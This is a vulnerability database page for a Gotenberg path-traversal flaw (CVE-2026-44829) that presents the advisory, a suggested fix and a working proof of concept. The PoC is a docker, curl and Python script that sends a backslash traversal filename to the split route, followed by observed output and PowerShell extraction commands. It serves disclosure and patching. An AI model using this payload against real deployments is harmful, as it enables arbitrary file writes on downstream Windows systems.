Vulnerability-Lookup

CVE-2026-44829 (GCVE-0-2026-44829)

Vulnerability from cvelistv5 – Published: 2026-08-19 14:35 – Updated: 2026-08-19 18:19

Title

Gotenberg: Path traversal in zip entry name via Windows-style separators in upload filename

Summary

Gotenberg is a Docker-powered stateless API for PDF files. In 8.32.0 and earlier, filename handling in pkg/modules/api/context.go uses filepath.Base on Linux, which does not treat backslashes as path separators, so a multipart filename containing Windows-style parent directory components survives sanitization. The original filename flows through ctx.diskToOriginal and the multi-output PDF routes into archives.FilesFromDisk and archives.Zip.Archive as the generated zip entry name. A remote attacker can submit a name such as ........\Windows\System32\evil.pdf through an upload or an upstream downloadFrom Content-Disposition header, and a Windows archive extractor can write the resulting file outside the intended extraction directory. The affected paths include /forms/pdfengines/split and other multi-output PDF, LibreOffice, and conversion routes, and exploitation can cause arbitrary file writes on a downstream Windows system when a user or process extracts the returned archive. This issue is fixed in version 8.33.0.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-19 18:03 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7775 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/gotenberg/gotenberg/security/a…	x_refsource_CONFIRM
https://github.com/gotenberg/gotenberg/issues/662	x_refsource_MISC
https://github.com/gotenberg/gotenberg/commit/93d…	x_refsource_MISC
https://github.com/gotenberg/gotenberg/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
gotenberg	gotenberg	Affected: < 8.33.0	guessed

Show details on NVD website

JSON

To clipboard

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          },
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}

FKIE_CVE-2026-44829

Vulnerability from fkie_nvd - Published: 2026-08-19 15:17 - Updated: 2026-10-27 13:10

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/gotenberg/gotenberg/commit/93d0103585372433e18b351bb16edf4c383932d3
	security-advisories@github.com	https://github.com/gotenberg/gotenberg/issues/662
	security-advisories@github.com	https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0
	security-advisories@github.com	https://github.com/gotenberg/gotenberg/security/advisories/GHSA-hwc4-gmrw-5222

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "gotenberg",
          "vendor": "gotenberg",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 8.33.0"
            }
          ]
        }
      ],
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    }
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    },
    {
      "lang": "es",
      "value": "Gotenberg es una API sin estado impulsada por Docker para archivos PDF. En la versi\u00f3n 8.32.0 y anteriores, el manejo de nombres de archivo en pkg/modules/api/context.go utiliza filepath.Base en Linux, que no trata las barras invertidas como separadores de ruta, por lo que un nombre de archivo multipart que contiene componentes de directorio padre estilo Windows sobrevive a la sanitizaci\u00f3n. El nombre de archivo original fluye a trav\u00e9s de ctx.diskToOriginal y las rutas PDF de salida m\u00faltiple hacia archives.FilesFromDisk y archives.Zip.Archive como el nombre de entrada zip generado. Un atacante remoto puede enviar un nombre como .... / Windows\\System32\\evil.pdf a trav\u00e9s de una carga o un encabezado Content-Disposition de descarga ascendente, y un extractor de archivos de Windows puede escribir el archivo resultante fuera del directorio de extracci\u00f3n previsto. Las rutas afectadas incluyen /forms/pdfengines/split y otras rutas de PDF de salida m\u00faltiple, LibreOffice y conversi\u00f3n, y la explotaci\u00f3n puede causar escrituras de archivos arbitrarias en un sistema Windows descendente cuando un usuario o proceso extrae el archivo devuelto. Este problema est\u00e1 solucionado en la versi\u00f3n 8.33.0."
    }
  ],
  "id": "CVE-2026-44829",
  "lastModified": "2026-10-27T13:10:00.360",
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      "url": "https://github.com/gotenberg/gotenberg/commit/93d0103585372433e18b351bb16edf4c383932d3"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/gotenberg/gotenberg/issues/662"
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      "source": "security-advisories@github.com",
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}

GHSA-HWC4-GMRW-5222

Vulnerability from github – Published: 2026-05-29 16:38 – Updated: 2026-05-29 16:38

Summary

Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename

Details

Summary

filepath.Base on the Linux container does not strip backslashes (\), because \ is only a path separator on Windows. A multipart filename like ..\..\..\..\Windows\System32\evil.pdf survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. /forms/pdfengines/split). Windows zip extractors interpret \ as a path separator and write the file outside the extraction directory.

Details

pkg/modules/api/context.go:434, 472:

filename := norm.NFC.String(filepath.Base(fh.Filename))

On Linux, filepath.Base("..\\..\\..\\..\\Windows\\System32\\evil.pdf") returns the same string verbatim — there are no / separators to find. The original filename then flows to ctx.diskToOriginal (pkg/modules/api/context.go:459, 393) and through pkg/modules/pdfengines/routes.go:287-322 (SplitPdfStub), which builds:

originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))
newOriginal      := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i)
ctx.RegisterDiskPath(newPath, newOriginal)

Finally pkg/modules/api/context.go:617-642 constructs the zip via archives.FilesFromDisk + archives.Zip{}.Archive. mholt/archives@v0.1.5/archives.go:155-184 (nameOnDiskToNameInArchive) returns path.Join(rootInArchive, "") — the map value verbatim.

Suggested fix

- filename := norm.NFC.String(filepath.Base(fh.Filename))
+ filename := sanitizeFilename(fh.Filename)
+
+ func sanitizeFilename(name string) string {
+     if i := strings.LastIndexAny(name, "/\\"); i >= 0 {
+         name = name[i+1:]
+     }
+     name = norm.NFC.String(name)
+     // Optional belt-and-braces:
+     name = strings.ReplaceAll(name, "..", "_")
+     name = strings.Map(func(r rune) rune {
+         if r < 0x20 || r == 0x7f { return -1 }
+         return r
+     }, name)
+     return name
+ }

The same sanitiser closes Advisory 8.

PoC

Prerequisite: pip install requests. curl -F filename= mangles backslashes on some shells, so we use Python's requests to deliver the malicious filename byte-perfect.

mkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc

docker rm -f gotenberg-audit 2>/dev/null
docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0
i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done

# Stub PDF.
printf '%%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n158\n%%%%EOF\n' > stub.pdf

# Step 1: produce a 2-page PDF so /split returns multiple entries.
curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \
    -F 'files=@stub.pdf;filename=a.pdf' \
    -F 'files=@stub.pdf;filename=b.pdf'

# Step 2: split, declaring the multipart filename as a Windows path-traversal payload.
python3 - <<'PY'
import requests, zipfile, binascii
fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf'
files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')}
data  = {'splitMode': 'intervals', 'splitSpan': '1'}
r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data)
print(f'HTTP={r.status_code}  ctype={r.headers.get("content-type")}  bytes={len(r.content)}')
open('split.zip', 'wb').write(r.content)

z = zipfile.ZipFile('split.zip')
print('--- zip entries (orig_filename) ---')
for info in z.infolist():
    print(f'   {info.orig_filename!r}')

# Show raw central-directory bytes to prove backslashes are on the wire:
data = open('split.zip', 'rb').read()
idx = data.find(b'PK\x01\x02')
print('--- raw central-dir hex around filename ---')
print(f'   {binascii.hexlify(data[idx:idx+80]).decode()}')
PY

docker stop gotenberg-audit

Observed output:

HTTP=200  ctype=application/zip  bytes=24750
--- zip entries (orig_filename) ---
   '..\\..\\..\\..\\Windows\\System32\\evil_0.pdf'
   '..\\..\\..\\..\\Windows\\System32\\evil_1.pdf'
--- raw central-dir hex around filename ---
   504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f

The trailing hex 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f decodes to ..\..\..\..\Windows\System32\evil_. (Python's ZipFile.namelist() would normally hide this by displaying /, but info.orig_filename returns the literal backslash form.)

To see the Windows-side traversal effect on a Windows host, run:

Expand-Archive -Path .\split.zip -DestinationPath .\out -Force
Get-ChildItem .\out -Recurse
# → out\Windows\System32\evil_0.pdf
# → out\Windows\System32\evil_1.pdf

PowerShell collapses the .. parents but creates the Windows\System32\ subdirectory tree. 7-Zip and WinRAR with default settings honor the .. parents and traverse out of the extraction directory entirely.

Impact

Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET ZipFile.ExtractToDirectory).
Reachable via every multi-output Gotenberg route — /forms/pdfengines/split, /forms/pdfengines/flatten//encrypt//embed//watermark//stamp//rotate (when called with multiple input PDFs), /forms/libreoffice/convert with multiple inputs, /forms/pdfengines/convert.
Also reachable via downloadFrom upstream Content-Disposition: filename="..\\..\\evil.exe" — the filename flows through the same ctx.diskToOriginal map at pkg/modules/api/context.go:354, 393.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

Show details on source website

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.32.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44829"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T16:38:24Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`filepath.Base` on the Linux container does not strip backslashes (`\\`), because `\\` is only a path separator on Windows. A multipart filename like `..\\..\\..\\..\\Windows\\System32\\evil.pdf` survives Gotenberg\u0027s input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. `/forms/pdfengines/split`). Windows zip extractors interpret `\\` as a path separator and write the file outside the extraction directory.\n\n### Details\n`pkg/modules/api/context.go:434, 472`:\n```go\nfilename := norm.NFC.String(filepath.Base(fh.Filename))\n```\nOn Linux, `filepath.Base(\"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.pdf\")` returns the same string verbatim \u2014 there are no `/` separators to find. The original filename then flows to `ctx.diskToOriginal` (`pkg/modules/api/context.go:459, 393`) and through `pkg/modules/pdfengines/routes.go:287-322` (`SplitPdfStub`), which builds:\n```go\noriginalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))\nnewOriginal      := fmt.Sprintf(\"%s_%d.pdf\", originalNameNoExt, i)\nctx.RegisterDiskPath(newPath, newOriginal)\n```\nFinally `pkg/modules/api/context.go:617-642` constructs the zip via `archives.FilesFromDisk` + `archives.Zip{}.Archive`. `mholt/archives@v0.1.5/archives.go:155-184` (`nameOnDiskToNameInArchive`) returns `path.Join(rootInArchive, \"\")` \u2014 the map value verbatim.\n\n### Suggested fix\n```diff\n- filename := norm.NFC.String(filepath.Base(fh.Filename))\n+ filename := sanitizeFilename(fh.Filename)\n+\n+ func sanitizeFilename(name string) string {\n+     if i := strings.LastIndexAny(name, \"/\\\\\"); i \u003e= 0 {\n+         name = name[i+1:]\n+     }\n+     name = norm.NFC.String(name)\n+     // Optional belt-and-braces:\n+     name = strings.ReplaceAll(name, \"..\", \"_\")\n+     name = strings.Map(func(r rune) rune {\n+         if r \u003c 0x20 || r == 0x7f { return -1 }\n+         return r\n+     }, name)\n+     return name\n+ }\n```\nThe same sanitiser closes Advisory 8.\n\n### PoC\n**Prerequisite:** `pip install requests`. `curl -F filename=` mangles backslashes on some shells, so we use Python\u0027s `requests` to deliver the malicious filename byte-perfect.\n\n```bash\nmkdir -p /tmp/gotenberg-poc \u0026\u0026 cd /tmp/gotenberg-poc\n\ndocker rm -f gotenberg-audit 2\u003e/dev/null\ndocker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0\ni=0; until [ \"$(curl -s -o /dev/null -w \u0027%{http_code}\u0027 http://localhost:3000/health)\" = \"200\" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done\n\n# Stub PDF.\nprintf \u0027%%PDF-1.4\\n1 0 obj\u003c\u003c/Type/Catalog/Pages 2 0 R\u003e\u003eendobj\\n2 0 obj\u003c\u003c/Type/Pages/Kids[3 0 R]/Count 1\u003e\u003eendobj\\n3 0 obj\u003c\u003c/Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]\u003e\u003eendobj\\nxref\\n0 4\\n0000000000 65535 f\\n0000000010 00000 n\\n0000000053 00000 n\\n0000000100 00000 n\\ntrailer\u003c\u003c/Size 4/Root 1 0 R\u003e\u003e\\nstartxref\\n158\\n%%%%EOF\\n\u0027 \u003e stub.pdf\n\n# Step 1: produce a 2-page PDF so /split returns multiple entries.\ncurl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \\\n    -F \u0027files=@stub.pdf;filename=a.pdf\u0027 \\\n    -F \u0027files=@stub.pdf;filename=b.pdf\u0027\n\n# Step 2: split, declaring the multipart filename as a Windows path-traversal payload.\npython3 - \u003c\u003c\u0027PY\u0027\nimport requests, zipfile, binascii\nfname = \u0027..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.pdf\u0027\nfiles = {\u0027files\u0027: (fname, open(\u0027two.pdf\u0027, \u0027rb\u0027), \u0027application/pdf\u0027)}\ndata  = {\u0027splitMode\u0027: \u0027intervals\u0027, \u0027splitSpan\u0027: \u00271\u0027}\nr = requests.post(\u0027http://localhost:3000/forms/pdfengines/split\u0027, files=files, data=data)\nprint(f\u0027HTTP={r.status_code}  ctype={r.headers.get(\"content-type\")}  bytes={len(r.content)}\u0027)\nopen(\u0027split.zip\u0027, \u0027wb\u0027).write(r.content)\n\nz = zipfile.ZipFile(\u0027split.zip\u0027)\nprint(\u0027--- zip entries (orig_filename) ---\u0027)\nfor info in z.infolist():\n    print(f\u0027   {info.orig_filename!r}\u0027)\n\n# Show raw central-directory bytes to prove backslashes are on the wire:\ndata = open(\u0027split.zip\u0027, \u0027rb\u0027).read()\nidx = data.find(b\u0027PK\\x01\\x02\u0027)\nprint(\u0027--- raw central-dir hex around filename ---\u0027)\nprint(f\u0027   {binascii.hexlify(data[idx:idx+80]).decode()}\u0027)\nPY\n\ndocker stop gotenberg-audit\n```\n\n**Observed output:**\n```\nHTTP=200  ctype=application/zip  bytes=24750\n--- zip entries (orig_filename) ---\n   \u0027..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil_0.pdf\u0027\n   \u0027..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil_1.pdf\u0027\n--- raw central-dir hex around filename ---\n   504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f\n```\n\nThe trailing hex `2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f` decodes to `..\\..\\..\\..\\Windows\\System32\\evil_`. (Python\u0027s `ZipFile.namelist()` would normally hide this by displaying `/`, but `info.orig_filename` returns the literal backslash form.)\n\nTo see the Windows-side traversal effect on a Windows host, run:\n```powershell\nExpand-Archive -Path .\\split.zip -DestinationPath .\\out -Force\nGet-ChildItem .\\out -Recurse\n# \u2192 out\\Windows\\System32\\evil_0.pdf\n# \u2192 out\\Windows\\System32\\evil_1.pdf\n```\nPowerShell collapses the `..` parents but creates the `Windows\\System32\\` subdirectory tree. 7-Zip and WinRAR with default settings honor the `..` parents and traverse out of the extraction directory entirely.\n\n### Impact\n- Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`).\n- Reachable via every multi-output Gotenberg route \u2014 `/forms/pdfengines/split`, `/forms/pdfengines/flatten`/`/encrypt`/`/embed`/`/watermark`/`/stamp`/`/rotate` (when called with multiple input PDFs), `/forms/libreoffice/convert` with multiple inputs, `/forms/pdfengines/convert`.\n- Also reachable via `downloadFrom` upstream `Content-Disposition: filename=\"..\\\\..\\\\evil.exe\"` \u2014 the filename flows through the same `ctx.diskToOriginal` map at `pkg/modules/api/context.go:354, 393`.",
  "id": "GHSA-hwc4-gmrw-5222",
  "modified": "2026-05-29T16:38:24Z",
  "published": "2026-05-29T16:38:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-hwc4-gmrw-5222"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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Sightings and recorded dates, grouped by day · UTC

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Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-44829 (GCVE-0-2026-44829)

FKIE_CVE-2026-44829

GHSA-HWC4-GMRW-5222

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Details

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PoC

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